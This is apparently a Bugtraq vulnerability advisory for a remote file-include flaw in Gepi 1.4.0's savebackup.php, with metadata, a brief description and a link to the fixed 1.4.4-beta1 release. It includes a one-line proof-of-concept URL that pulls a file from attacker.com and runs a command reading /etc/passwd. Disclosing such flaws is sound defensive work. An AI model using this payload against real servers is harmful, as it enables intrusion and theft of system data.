Gepi Savebackup.PHP Remote File Include Vulnerability

Bugtraq ID:	20830
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 31 2006 12:00AM
Updated:	Nov 06 2006 07:52PM
Credit:	$um$id is credited with the discovery of this vulnerability.
Vulnerable:	Gepi Gepi 1.4.0
Not Vulnerable:	Gepi Gepi 1.4.4-beta1

Gepi Savebackup.PHP Remote File Include Vulnerability

Gepi is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.4.0 is vulnerable to this issue; other versions may also be affected.

Gepi Savebackup.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat/etc/passwd

Gepi Savebackup.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

The vendor has released version 1.4.4 beta1 to address this issue; please see the reference section for details.


Gepi Gepi 1.4.0

• Gepi gepi-1.4.4-beta1.tar.gz
  http://adullact.net/frs/download.php/1576/gepi-1.4.4-beta1.tar.gz

Gepi Savebackup.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (Gepi)